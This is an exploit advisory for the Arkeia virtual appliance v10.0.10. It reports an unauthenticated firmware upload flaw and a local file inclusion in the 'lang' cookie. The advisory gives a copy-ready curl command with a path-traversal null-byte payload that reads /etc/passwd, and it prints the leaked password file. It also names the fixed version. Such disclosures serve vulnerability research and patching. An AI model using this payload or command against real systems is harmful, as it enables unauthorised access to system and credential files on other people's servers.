################################################################################################################################### # Exploit Title: Western Digital Arkeia Appliance v10.0.10 # Date: Sep 17 2013 # Exploit Author: xistence < xistence[at]0x90[.]nl > # Vendor Homepage: www.arkeia.com # Tested on: Virtual Appliance - ESXi 5.1 # Affected Version : v10.0.10 and lower # Link: ftp://ftp.arkeia.com/arkeia-virtual-appliance/vmware-virtual-appliance/full-virtual-appliance/arkeia_virtual_appliance-10.0.10.zip # Fix: Upgrade to version 10.1.10 # ################################################################################################################################### Arkeia Appliance v10.0.10 is prone to 2 security vulnerabilties: 1) Unauthenticated firmware upload There are no restrictions when a POST request is send to http:///scripts/upload.php thus allowing any unauthenticated client to upload any data to the /tmp/ApplianceUpdate file. 2) Local File Inclusion (LFI) vulnerability in the cookie "lang=" By sending a request (without the need for authentication) to the homepage of the appliance with a cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00", it's possible to read files on the server, in this example /etc/passwd. Proof of Concept Run the following command: curl --cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00" http:/// Which will return the /etc/passwd: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin [..snip..]